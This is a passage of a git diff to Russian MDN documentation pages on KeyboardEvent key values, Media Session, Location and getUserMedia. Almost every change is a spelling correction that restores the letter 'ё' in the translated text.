class="moreinfo">Узнайте, как использовать эти пары "ключ-значение" в JavaScript с помощью <a href="/docs/Web/API/KeyboardEvent/key">KeyboardEvent.key</a></div> @@ -13,7 +13,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values <h2 id="Специальные_значения">Специальные значения</h2> -<p>Значения клавиш имеющих особое значение, кроме идентификации определенной клавиши или символа.</p> +<p>Значения клавиш имеющих особое значение, кроме идентификации определённой клавиши или символа.</p> <table class="standard-table"> <thead> @@ -33,7 +33,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values <tr> <td><code>"Unidentified"</code></td> <td> - <p>Пользовательский агент не смог сопоставить виртуальный клавиатурный код события с определенным значением клавиши.</p> + <p>Пользовательский агент не смог сопоставить виртуальный клавиатурный код события с определённым значением клавиши.</p> <p>Это может произойти из-за аппаратных или программных ограничений или из-за ограничений платформы, на которой работает пользовательский агент.</p> </td> @@ -692,9 +692,9 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values <p>[3] Internet Explorer (проверено в версиях 9 и 11) и Firefox 36 и более ранних, клавиша контекстного меню возвращает значение <code>"Apps"</code> вместо <code>"ContextMenu"</code>.</p> -<p>[4] Клавиша <kbd>Attn</kbd> генерирует значение <code>"Unidentified"</code> в Internet Explorer (проверено в версиях 9 и 11). В Firefox и Google Chrome происходит то же, если только не действует японская раскладка клавиатуры, то в этом случае она генерирует вместо нее <code>"KanaMode"</code>.</p> +<p>[4] Клавиша <kbd>Attn</kbd> генерирует значение <code>"Unidentified"</code> в Internet Explorer (проверено в версиях 9 и 11). В Firefox и Google Chrome происходит то же, если только не действует японская раскладка клавиатуры, то в этом случае она генерирует вместо неё <code>"KanaMode"</code>.</p> -<p>[5] Клавиша <kbd>Finish</kbd> генерирует значение <code>"Unidentified"</code> в Internet Explorer (проверено в версиях 9 и 11). В Firefox происходит то же, если только не действует японская раскладка клавиатуры, то в этом случае она генерирует вместо нее <code>"Katakana"</code>.</p> +<p>[5] Клавиша <kbd>Finish</kbd> генерирует значение <code>"Unidentified"</code> в Internet Explorer (проверено в версиях 9 и 11). В Firefox происходит то же, если только не действует японская раскладка клавиатуры, то в этом случае она генерирует вместо неё <code>"Katakana"</code>.</p> <p>[6] Firefox не поддерживал клавиши <code>"ZoomIn"</code> и <code>"ZoomOut"</code> до Firefox 37.</p> @@ -735,7 +735,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"Eject"</code></td> - <td>Клавиша извлечения <kbd>Eject</kbd>. Извлекает съемный носитель (или переключает лоток оптического дисковода, открывая и закрывая его).</td> + <td>Клавиша извлечения <kbd>Eject</kbd>. Извлекает съёмный носитель (или переключает лоток оптического дисковода, открывая и закрывая его).</td> <td></td> <td></td> <td><code>GDK_KEY_Eject</code> (0x1008FF2C)<br> @@ -786,7 +786,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"Hibernate"</code> [2]</td> - <td>Клавиша гибернации <kbd>Hibernate</kbd>. Состояние компьютера сохраняется на диске, а затем выключается; компьютер может быть возвращен в предыдущее состояние путем восстановления сохраненной информации о состоянии.</td> + <td>Клавиша гибернации <kbd>Hibernate</kbd>. Состояние компьютера сохраняется на диске, а затем выключается; компьютер может быть возвращён в предыдущее состояние путём восстановления сохранённой информации о состоянии.</td> <td></td> <td></td> <td><code>GDK_KEY_Hibernate</code> (0x1008FFA8)<br> @@ -824,9 +824,9 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values <h2 id="IME_и_клавиши_композиции">IME и клавиши композиции</h2> -<p>Клавиши, используемые при использовании редактора метода ввода (<a href="https://ru.wikipedia.org/wiki/IME">IME</a>) для ввода текста, который не может быть легко введен с помощью простых нажатий клавиш, например текста на языках, которые имеют больше графем, чем клавиш ввода символов на клавиатуре. Общие примеры включают китайский, японский, корейский и хинди.</p> +<p>Клавиши, используемые при использовании редактора метода ввода (<a href="https://ru.wikipedia.org/wiki/IME">IME</a>) для ввода текста, который не может быть легко введён с помощью простых нажатий клавиш, например текста на языках, которые имеют больше графем, чем клавиш ввода символов на клавиатуре. Общие примеры включают китайский, японский, корейский и хинди.</p> -<p>Некоторые клавиши являются общими для нескольких языков, в то время как другие существуют только на клавиатурах, ориентированных на определенные языки. Кроме того, не все клавиатуры имеют все эти клавиши.</p> +<p>Некоторые клавиши являются общими для нескольких языков, в то время как другие существуют только на клавиатурах, ориентированных на определённые языки. Кроме того, не все клавиатуры имеют все эти клавиши.</p> <h4 id="Обычные_IME_клавиши">Обычные IME клавиши</h4> @@ -1013,7 +1013,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values <h3 id="Только_корейские_клавиатуры">Только корейские клавиатуры</h3> -<p>Эти клавиши доступны только на корейских клавиатурах. Существуют и другие клавиши, определенные различными платформами для корейских клавиатур, но они являются наиболее распространенными и идентифицируются спецификацией событий пользовательского интерфейса.</p> +<p>Эти клавиши доступны только на корейских клавиатурах. Существуют и другие клавиши, определённые различными платформами для корейских клавиатур, но они являются наиболее распространёнными и идентифицируются спецификацией событий пользовательского интерфейса.</p> <table class="standard-table"> <thead> @@ -1695,7 +1695,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"Soft4"</code></td> - <td><span class="tlid-translation translation" lang="ru"><span title="">Четвертая функциональная клавиша общего назначения.</span></span></td> + <td><span class="tlid-translation translation" lang="ru"><span title="">Четвёртая функциональная клавиша общего назначения.</span></span></td> <td></td> <td></td> <td><code>Qt::Key_Context4</code> (0x01100003)</td> @@ -1881,7 +1881,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"MediaPlay"</code></td> - <td>Запускает или продолжает воспроизведение мультимедиа с нормальной скоростью, если еще не делает этого. В противном случае не имеет эффекта.</td> + <td>Запускает или продолжает воспроизведение мультимедиа с нормальной скоростью, если ещё не делает этого. В противном случае не имеет эффекта.</td> <td><code>APPCOMMAND_MEDIA_PLAY</code></td> <td></td> <td><code>GDK_KEY_AudioPlay</code> (0x1008FF14)</td> @@ -1916,7 +1916,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"MediaStop"</code></td> - <td><span class="tlid-translation translation" lang="ru"><span title="">Останавливает текущую медиа-активность (такую как воспроизведение, запись, пауза, перемотка вперед или назад).</span> <span title="">Не действует, если медиафайл уже остановлен.</span></span></td> + <td><span class="tlid-translation translation" lang="ru"><span title="">Останавливает текущую медиа-активность (такую как воспроизведение, запись, пауза, перемотка вперёд или назад).</span> <span title="">Не действует, если медиафайл уже остановлен.</span></span></td> <td><code>VK_MEDIA_STOP</code> (0xB2)<br> <code>APPCOMMAND_MEDIA_STOP</code></td> <td></td> @@ -2042,7 +2042,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"AudioSurroundModeNext"</code></td> - <td>Выбор следующего доступного режима объемного звучания.</td> + <td>Выбор следующего доступного режима объёмного звучания.</td> <td><code>VK_SURROUND_MODE_NEXT</code></td> <td></td> <td></td> @@ -2130,7 +2130,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </thead> </table> -<p>[1] Internet Explorer, Edge, и Firefox (48 и более ранние) используют <code>"VolumeUp"</code>, <code>"VolumeDown"</code>, и <code>"VolumeMute"</code> вместо <code>"AudioVolumeUp"</code>, <code>"AudioVolumeDown"</code>, и <code>"AudioVolumeMute"</code>. В Firefox 49 <span class="tlid-translation translation" lang="ru"><span title="">они были обновлены в соответствии с последней спецификацией.</span> <span title="">Старые имена все еще используются в </span></span><a href="/en-US/docs/Mozilla/B2G_OS">Boot to Gecko</a>.</p> +<p>[1] Internet Explorer, Edge, и Firefox (48 и более ранние) используют <code>"VolumeUp"</code>, <code>"VolumeDown"</code>, и <code>"VolumeMute"</code> вместо <code>"AudioVolumeUp"</code>, <code>"AudioVolumeDown"</code>, и <code>"AudioVolumeMute"</code>. В Firefox 49 <span class="tlid-translation translation" lang="ru"><span title="">они были обновлены в соответствии с последней спецификацией.</span> <span title="">Старые имена все ещё используются в </span></span><a href="/en-US/docs/Mozilla/B2G_OS">Boot to Gecko</a>.</p> <h2 id="Клавиши_управления_ТВ"><span class="tlid-translation translation" lang="ru"><span title="">Клавиши управления ТВ</span></span></h2> @@ -2367,7 +2367,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"TVTerrestrialAnalog"</code></td> - <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает услугу аналогового наземного телевидения (аналоговый кабельный или антенный прием).</span></span></td> + <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает услугу аналогового наземного телевидения (аналоговый кабельный или антенный приём).</span></span></td> <td></td> <td></td> <td></td> @@ -2375,7 +2375,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"TVTerrestrialDigital"</code></td> - <td>Выбирает услугу цифрового наземного телевидения (цифровой кабельный или антенный прием).</td> + <td>Выбирает услугу цифрового наземного телевидения (цифровой кабельный или антенный приём).</td> <td></td> <td></td> <td></td> @@ -2400,17 +2400,17 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values <p><span class="tlid-translation translation" lang="ru"><span title="">Поскольку современные пульты дистанционного управления для мультимедийных устройств часто включают кнопки, помимо базовых элементов управления, описанных в другом месте в этом документе, ключевые значения определены для широкого набора этих дополнительных кнопок.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Приведенные ниже значения частично получены из ряда технических характеристик бытовой электроники:</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Приведённые ниже значения частично получены из ряда технических характеристик бытовой электроники:</span></span></p> <ul> <li><a href="http://atsc.org/standard/a100-dtv-application-software-environment-level-1-dase-1/">DTV Application Software Environment</a> (часть спецификации {{interwiki("wikipedia", "ATSC")}})</li> <li><a href="http://www.cablelabs.com/specifications/OC-SP-OCAP1.1.3-100603.pdf">Open Cable Application Platform 1.1.3</a></li> - <li><a href="http://www.ce.org/Standards/Standard-Listings/R7-Home-Network-Committee/CEA-2014-B-(ANSI%29.aspx">ANSI/CEA-2014-B</a>: Веб-протокол и фреймворк для удаленного пользовательского интерфейса в сетях UPnP ™ и Интернете</li> + <li><a href="http://www.ce.org/Standards/Standard-Listings/R7-Home-Network-Committee/CEA-2014-B-(ANSI%29.aspx">ANSI/CEA-2014-B</a>: Веб-протокол и фреймворк для удалённого пользовательского интерфейса в сетях UPnP ™ и Интернете</li> <li><a href="http://developer.android.com/reference/android/view/KeyEvent.html">Android KeyEvent key code values</a></li> </ul> <div class="note"> -<p><strong>Заметка:</strong> <span class="tlid-translation translation" lang="ru"><span title="">Пульт дистанционного управления обычно содержит кнопки, значения которых уже определены где-то еще, например</span></span> <em><span class="tlid-translation translation" lang="ru"><span title="">Мультимедийные клавиши</span></span></em> или <em>Клавиши управления звуком</em>. <span class="tlid-translation translation" lang="ru"><span title="">Значения этих кнопок будут соответствовать тому, что задокументировано в этих таблицах.</span></span></p> +<p><strong>Заметка:</strong> <span class="tlid-translation translation" lang="ru"><span title="">Пульт дистанционного управления обычно содержит кнопки, значения которых уже определены где-то ещё, например</span></span> <em><span class="tlid-translation translation" lang="ru"><span title="">Мультимедийные клавиши</span></span></em> или <em>Клавиши управления звуком</em>. <span class="tlid-translation translation" lang="ru"><span title="">Значения этих кнопок будут соответствовать тому, что задокументировано в этих таблицах.</span></span></p> </div> <table class="standard-table"> @@ -2556,7 +2556,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"FavoriteClear3"</code></td> - <td><span class="tlid-translation translation" lang="ru"><span title="">Очищает четвертый слот списка избранного.</span></span></td> + <td><span class="tlid-translation translation" lang="ru"><span title="">Очищает четвёртый слот списка избранного.</span></span></td> <td><code>VK_CLEAR_FAVORITE_3</code></td> <td></td> <td></td> @@ -2588,7 +2588,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"FavoriteRecall3"</code></td> - <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает (вызывает) программу или содержимое, хранящееся в четвертом слоте списка избранного.</span></span></td> + <td><span class="tlid-translation translation" lang="ru"><span title="">Выбирает (вызывает) программу или содержимое, хранящееся в четвёртом слоте списка избранного.</span></span></td> <td><code>VK_RECALL_FAVORITE_3</code></td> <td></td> <td></td> @@ -2620,7 +2620,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"FavoriteStore3"</code></td> - <td><span class="tlid-translation translation" lang="ru"><span title="">Сохраняет текущую программу или контент в четвертый слот списка избранного.</span></span></td> + <td><span class="tlid-translation translation" lang="ru"><span title="">Сохраняет текущую программу или контент в четвёртый слот списка избранного.</span></span></td> <td><code>VK_STORE_FAVORITE_3</code></td> <td></td> <td></td> @@ -2805,7 +2805,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"NextUserProfile"</code></td> - <td>Циклически переходит к следующему сохраненному профилю пользователя, если эта функция поддерживается и существует несколько профилей.</td> + <td>Циклически переходит к следующему сохранённому профилю пользователя, если эта функция поддерживается и существует несколько профилей.</td> <td><code>VK_USER</code></td> <td></td> <td></td> @@ -2909,7 +2909,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"RfBypass"</code></td> - <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает режим пропуска радиочастотного (RF) входа.</span> <span title="">В режиме пропуска РЧ входной сигнал передается непосредственно на выход РЧ без какой-либо обработки или фильтрации.</span></span></td> + <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает режим пропуска радиочастотного (RF) входа.</span> <span title="">В режиме пропуска РЧ входной сигнал передаётся непосредственно на выход РЧ без какой-либо обработки или фильтрации.</span></span></td> <td><code>VK_RF_BYPASS</code></td> <td></td> <td></td> @@ -2990,7 +2990,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"Wink"</code></td> - <td>Заставляет устройство идентифицировать себя каким-либо образом, например, мигает светом, на короткое время меняет яркость световых индикаторов или издает звуковой сигнал.</td> + <td>Заставляет устройство идентифицировать себя каким-либо образом, например, мигает светом, на короткое время меняет яркость световых индикаторов или издаёт звуковой сигнал.</td> <td><code>VK_WINK</code></td> <td></td> <td></td> @@ -3032,7 +3032,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"SpeechCorrectionList"</code> [1]</td> - <td><span class="tlid-translation translation" lang="ru"><span title="">Представляет список возможных исправлений неверно определенного слова.</span></span></td> + <td><span class="tlid-translation translation" lang="ru"><span title="">Представляет список возможных исправлений неверно определённого слова.</span></span></td> <td><code>APPCOMMAND_CORRECTION_LIST</code></td> <td></td> <td></td> @@ -3081,7 +3081,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </tr> <tr> <td><code>"New"</code> [1]</td> - <td>Создает новый документ или сообщение.</td> + <td>Создаёт новый документ или сообщение.</td> <td><code>APPCOMMAND_NEW</code></td> <td></td> <td><code>GDK_KEY_New</code> (0x1008FF68)<br> @@ -3158,7 +3158,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values <h2 id="Клавиши_приложений">Клавиши приложений</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">На некоторых клавиатурах есть специальные клавиши для запуска определенных распространенных приложений или переключения на них.</span> <span title="">Значения клавиш для них перечислены здесь.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">На некоторых клавиатурах есть специальные клавиши для запуска определённых распространённых приложений или переключения на них.</span> <span title="">Значения клавиш для них перечислены здесь.</span></span></p> <table class="standard-table"> <thead> @@ -3442,7 +3442,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values </thead> </table> -<p>[1] Internet Explorer, Edge, и Firefox (36 и ранее) используют <code>"SelectMedia"</code> вместо <code>"LaunchMediaPlayer"</code>. Firefox 37 и Firefox 48 используют <code>"MediaSelect"</code>. Firefox 49 <span class="tlid-translation translation" lang="ru"><span title="">был обновлен в соответствии с последней спецификацией и теперь возвращает</span></span> <code>"LaunchMediaPlayer"</code>.</p> +<p>[1] Internet Explorer, Edge, и Firefox (36 и ранее) используют <code>"SelectMedia"</code> вместо <code>"LaunchMediaPlayer"</code>. Firefox 37 и Firefox 48 используют <code>"MediaSelect"</code>. Firefox 49 <span class="tlid-translation translation" lang="ru"><span title="">был обновлён в соответствии с последней спецификацией и теперь возвращает</span></span> <code>"LaunchMediaPlayer"</code>.</p> <p>[2] Google Chrome 57 и ранние возвращают <code>"LaunchMyComputer"</code> вместо <code>"LaunchApplication1"</code>. Смотри <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=612743">Chrome Bug 612743</a> для дополнительной информации.</p> diff --git a/files/ru/web/api/localmediastream/index.html b/files/ru/web/api/localmediastream/index.html index b5ca550abb..821224a3b1 100644 --- a/files/ru/web/api/localmediastream/index.html +++ b/files/ru/web/api/localmediastream/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/LocalMediaStream --- <div>{{APIRef("WebRTC")}} {{SeeCompatTable}}</div> -<p>Интерфейс <strong><code>LocalMediaStream</code></strong><strong> </strong>представляет собой поток медиа-контента извлёчённый из локального источника данных. Этот интерфейс возвращается из <code><a href="/en-US/docs/WebRTC/navigator.getUserMedia" title="/en-US/docs/WebRTC/navigator.getUserMedia">getUserMedia()</a></code>.</p> +<p>Интерфейс <strong><code>LocalMediaStream</code></strong><strong> </strong>представляет собой поток медиа-контента извлечённый из локального источника данных. Этот интерфейс возвращается из <code><a href="/en-US/docs/WebRTC/navigator.getUserMedia" title="/en-US/docs/WebRTC/navigator.getUserMedia">getUserMedia()</a></code>.</p> <h2 id="Methods">Methods</h2> diff --git a/files/ru/web/api/location/index.html b/files/ru/web/api/location/index.html index 470064d4b9..0183c895fd 100644 --- a/files/ru/web/api/location/index.html +++ b/files/ru/web/api/location/index.html @@ -60,7 +60,7 @@ translation_of: Web/API/Location <h2 id="Примеры">Примеры</h2> -<pre class="brush: js">// Этот пример создает ссылку и использует ее свойство href +<pre class="brush: js">// Этот пример создаёт ссылку и использует её свойство href // Корректная альтернатива - использовать document.location или window.location текущего URL var url = document.createElement('a'); url.href = 'https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container'; diff --git a/files/ru/web/api/media_session_api/index.html b/files/ru/web/api/media_session_api/index.html index aeaf490463..2d9980c86c 100644 --- a/files/ru/web/api/media_session_api/index.html +++ b/files/ru/web/api/media_session_api/index.html @@ -48,7 +48,7 @@ translation_of: Web/API/Media_Session_API <h2 id="Примеры">Примеры</h2> -<p>Данный пример демонстрирует работу и определение доступности Media Session API. Также, он передает метаданные и определяет собственные обработчики событий:</p> +<p>Данный пример демонстрирует работу и определение доступности Media Session API. Также, он передаёт метаданные и определяет собственные обработчики событий:</p> <pre class="brush: js notranslate">if ('mediaSession' in navigator) { navigator.mediaSession.metadata = new MediaMetadata({ @@ -73,7 +73,7 @@ translation_of: Web/API/Media_Session_API navigator.mediaSession.setActionHandler('nexttrack', function() { /* Code excerpted. */ }); }</pre> -<p>Некоторые браузеры отключают автовоспроизведение медиаэлементов на мобильных устройствах и требуют действий пользователя для начала воспроизведения. Этот пример добавит обработчик события <code>pointerup</code> для кнопки воспроизведения на странице, который начнет работу с медиасессией:</p> +<p>Некоторые браузеры отключают автовоспроизведение медиаэлементов на мобильных устройствах и требуют действий пользователя для начала воспроизведения. Этот пример добавит обработчик события <code>pointerup</code> для кнопки воспроизведения на странице, который начнёт работу с медиасессией:</p> <pre class="brush: js notranslate">playButton.addEventListener('pointerup', function(event) { var audio = document.querySelector('audio'); diff --git a/files/ru/web/api/mediadevices/getusermedia/index.html b/files/ru/web/api/mediadevices/getusermedia/index.html index 4e71c23681..9d53d6f242 100644 --- a/files/ru/web/api/mediadevices/getusermedia/index.html +++ b/files/ru/web/api/mediadevices/getusermedia/index.html @@ -59,7 +59,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <pre class="brush: js notranslate">{ audio: true, video: true }</pre> - <p>Если определяется значение <code>true</code> для медиатипа, результирующий поток обязательно будет иметь в себе запрошенный медиатип. Если ни один из типов не включается в запрос, вызов метода <code>getUserMedia()</code> приведет к ошибке.</p> + <p>Если определяется значение <code>true</code> для медиатипа, результирующий поток обязательно будет иметь в себе запрошенный медиатип. Если ни один из типов не включается в запрос, вызов метода <code>getUserMedia()</code> приведёт к ошибке.</p> <p>Если полная информация о камерах и микрофонах пользователя недоступна по причинам конфиденциальности, приложение может запросить доступ только к необходимым ему функциям, используя дополнительные условия. Следующий пример запрашивает видеотрек с разрешением камеры 1280x720 пикселей:</p> @@ -80,7 +80,7 @@ translation_of: Web/API/MediaDevices/getUserMedia } }</pre> - <p>Если камера не в состоянии обеспечить указанное минимальное разрешение или более высокое, возвращаемый промис будет отменен с объектом <code>OverconstrainedError</code>, и пользователь не увидит диалога запроса разрешения.</p> + <p>Если камера не в состоянии обеспечить указанное минимальное разрешение или более высокое, возвращаемый промис будет отменён с объектом <code>OverconstrainedError</code>, и пользователь не увидит диалога запроса разрешения.</p> <p>Различие поведения происходит по причине того, что ключевые слова <code>min</code>, <code>max</code>, и <code>exact</code> являются обязательными к выполнению. В то время как простые значения и ключевое слово <code>ideal</code> - не обязательные к выполнению. Ниже, полный пример:</p> @@ -112,11 +112,11 @@ translation_of: Web/API/MediaDevices/getUserMedia <pre class="brush: js notranslate">{ audio: true, video: { facingMode: { exact: "environment" } } }</pre> - <p>Следующее строковое свойство - <code>deviceId</code> (идентификатор устройства). Его значение может быть получено из метода {{domxref("mediaDevices.enumerateDevices()")}}, возвращающего список, имеющихся на машине устройств, с их идентификаторами, и может быть использовано для запроса определенного устройства по идентификатору этого устройства:</p> + <p>Следующее строковое свойство - <code>deviceId</code> (идентификатор устройства). Его значение может быть получено из метода {{domxref("mediaDevices.enumerateDevices()")}}, возвращающего список, имеющихся на машине устройств, с их идентификаторами, и может быть использовано для запроса определённого устройства по идентификатору этого устройства:</p> <pre class="brush: js notranslate">{ video: { deviceId: идентификаторНужнойКамеры } }</pre> - <p>Код выше вернет запрашиваемую камеру или другую камеру, если требуемая камера недоступна. Для получения доступа к потоку только определенной камеры, без альтернативы, используется свойство <code>exact</code> (точно) :</p> + <p>Код выше вернёт запрашиваемую камеру или другую камеру, если требуемая камера недоступна. Для получения доступа к потоку только определённой камеры, без альтернативы, используется свойство <code>exact</code> (точно) :</p> <pre class="brush: js notranslate">{ video: { deviceId: { exact: идентификаторНужнойКамеры } } }</pre> </dd> @@ -136,7 +136,7 @@ translation_of: Web/API/MediaDevices/getUserMedia </dl> <dl> - <dt><code>NotAllowedError (Доступ не разрешен)</code></dt> + <dt><code>NotAllowedError (Доступ не разрешён)</code></dt> <dd>Возникает если, одно или несколько запрашиваемых устройств не может быть использованы в настоящее время. Это происходит тогда, когда контекст браузера является не безопасным (страница была загружена используя протокол HTTP вместо HTTPS), а также, если пользователь не разрешил доступ текущему экземпляру браузера к устройству, пользователь отказал в доступе в текущей сессии, или пользователь отказал в доступе к медиаустройствам глобально. Для браузеров, которые поддерживают управление медиаразрешениями с помощью <a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>, такая ошибка возвращается если Feature Policy не сконфигурирована для разрешение доступа к медиаустройству или устройствам <div class="note"> Более старые версии спецификации использовали вместо этого SecurityError. <code>SecurityError</code> имеет новое значение.</div> </dd> @@ -146,7 +146,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <dd>Хотя пользователь и предоставил разрешение на использование соответствующих устройств, произошла аппаратная ошибка на уровне операционной системы, браузера или веб-страницы, которая препятствовала доступу к устройству..</dd> <dt><code>OverconstrainedError (за границами ограничений)</code></dt> <dd>Возникает если, в результате указанных ограничений не было найдено устройств, отвечающих запрошенным критериям. Ошибка является объектом типа <code>OverconstrainedError</code> и имеет свойство <code>constraint</code>, строковое значение которого является именем ограничения, которое было невозможно встретить, и свойство <code>message</code>, содержащее читаемую человеком строку, объясняющую проблему. - <div class="note">Ошибка может возникнуть даже, если пользователь еще не выдал разрешение на использование устройства, использующиеся как поверхность для идентификации отпечатка пальца.</div> + <div class="note">Ошибка может возникнуть даже, если пользователь ещё не выдал разрешение на использование устройства, использующиеся как поверхность для идентификации отпечатка пальца.</div> </dd> <dt><code>SecurityError (ошибка безопасности)</code></dt> <dd>Возникает если, медиа поддержка отключена в {{domxref("Document")}} на котором был вызван метод <code>getUserMedia()</code>. Механизм по которому медиа поддержка включается и отключается находиться в компетенции браузера пользователя.</dd> @@ -160,7 +160,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <p><code>getUserMedia()</code> - это мощная функция, которая может быть использована только в <a href="/en-US/docs/Web/Security/Secure_Contexts">безопасном контексте</a> . В небезопасном контексте, <code>navigator.mediaDevices</code> равно <code>undefined</code>, предотвращая доступ к методу <code>getUserMedia()</code>. Безопасный контекст - это, если кратко, страница, загружаемая по протоколу HTTPS или <code>file:///</code> URL схеме, или страница, загружаемая из <code>localhost</code>.</p> -<p>В нем обязательно запрашивается пользовательское разрешение к доступу <code>audio</code> или <code>video</code> источникам. Только контекст документа верхнего уровня, проверенного источника может запросить доступ, используя метод <code>getUserMedia()</code>. Если контексту верхнего уровня явно не дается разрешение для данного {{HTMLElement("iframe")}} используя <a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>, пользователю никогда не будет предложено выдать разрешение на использование устройств, пока пользователь самостоятельно не отменит запрет в настройках браузера.</p> +<p>В нем обязательно запрашивается пользовательское разрешение к доступу <code>audio</code> или <code>video</code> источникам. Только контекст документа верхнего уровня, проверенного источника может запросить доступ, используя метод <code>getUserMedia()</code>. Если контексту верхнего уровня явно не даётся разрешение для данного {{HTMLElement("iframe")}} используя <a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>, пользователю никогда не будет предложено выдать разрешение на использование устройств, пока пользователь самостоятельно не отменит запрет в настройках браузера.</p> <p>Дополнительные подробности на тему требований и правил, и как они отражены в контексте выполняемого кода, о том, как браузеры управляют вопросами конфиденциальности и безопасности читайте далее.</p> @@ -182,7 +182,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <h4 id="Feature_Policy_Функциональная_политика">Feature Policy (Функциональная политика)</h4> -<p>Функция управление безопасностью (<a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>) протокола {{Glossary("HTTP")}} находиться в процессе введения в браузеры, с поддержкой, доступной в различной степени во многих браузерах (но не всегда включенной в настройках по умолчанию, как в Firefox). Метод <code>getUserMedia()</code> - один из методов, требующий использования функциональной политики и вашему коду нужно быть готовым к работе с ним. К примеру, чтобы метод был доступен в документах не высокого уровня, разработчику нужно использовать либо атрибут {{htmlattrxref("allow", "iframe")}} на элементе {{HTMLElement("iframe")}} , который использует <code>getUserMedia()</code>, либо {{HTTPHeader("Feature-Policy")}} заголовок для страниц , передающихся с сервера, которые используют <code>getUserMedia()</code>.</p> +<p>Функция управление безопасностью (<a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>) протокола {{Glossary("HTTP")}} находиться в процессе введения в браузеры, с поддержкой, доступной в различной степени во многих браузерах (но не всегда включённой в настройках по умолчанию, как в Firefox). Метод <code>getUserMedia()</code> - один из методов, требующий использования функциональной политики и вашему коду нужно быть готовым к работе с ним. К примеру, чтобы метод был доступен в документах не высокого уровня, разработчику нужно использовать либо атрибут {{htmlattrxref("allow", "iframe")}} на элементе {{HTMLElement("iframe")}} , который использует <code>getUserMedia()</code>, либо {{HTTPHeader("Feature-Policy")}} заголовок для страниц , передающихся с сервера, которые используют <code>getUserMedia()</code>.</p> <p>Два разрешения, которые обращаются к <code>getUserMedia()</code> - <code>camera</code> и <code>microphone</code>.</p> @@ -203,7 +203,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <h4 id="Безопасность_на_основе_шифрования">Безопасность на основе шифрования</h4> -<p>Метод <code>getUserMedia()</code> доступен <em>только</em> для <a href="/en-US/docs/Web/Security/Secure_Contexts">безопасных контекстов</a>. Безопасный контекст - это уверенность браузера в том, что документ был загружен безопасно, используя HTTPS/TLS, и имеет ограниченную подверженность небезопасным контекстам. Если документ не загружен в безопасном контексте, свойство {{domxref("navigator.mediaDevices")}} равно <code>undefined</code>, делая невозможным доступ к методу <code>getUserMedia()</code>. Попытка получить доступ в такой ситуации приведет к ошибке <code>TypeError</code>.</p> +<p>Метод <code>getUserMedia()</code> доступен <em>только</em> для <a href="/en-US/docs/Web/Security/Secure_Contexts">безопасных контекстов</a>. Безопасный контекст - это уверенность браузера в том, что документ был загружен безопасно, используя HTTPS/TLS, и имеет ограниченную подверженность небезопасным контекстам. Если документ не загружен в безопасном контексте, свойство {{domxref("navigator.mediaDevices")}} равно <code>undefined</code>, делая невозможным доступ к методу <code>getUserMedia()</code>. Попытка получить доступ в такой ситуации приведёт к ошибке <code>TypeError</code>.</p> <h4 id="Безопасность_источника_документа">Безопасность источника документа</h4> @@ -211,7 +211,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <ul> <li>Документ, загруженный в песочницу {{HTMLElement("iframe")}} элемента не может вызвать <code>getUserMedia()</code>, до тех пор пока, на элементе <code><iframe></code> находиться атрибут {{htmlattrxref("sandbox", "iframe")}}, установленный в значение <code>allow-same-origin</code>.</li> - <li>Документ, загруженный по протоколам <code>data://</code> или <code>blob://</code> в URL-адресе, не имеющий источника (такими являются типы URL-ов, введенные пользователями в строке адреса браузера) не может вызвать <code>getUserMedia()</code>. Подобные типы URL-ов, загружаемые из JavaScript кода, наследуют разрешения скрипта.</li> + <li>Документ, загруженный по протоколам <code>data://</code> или <code>blob://</code> в URL-адресе, не имеющий источника (такими являются типы URL-ов, введённые 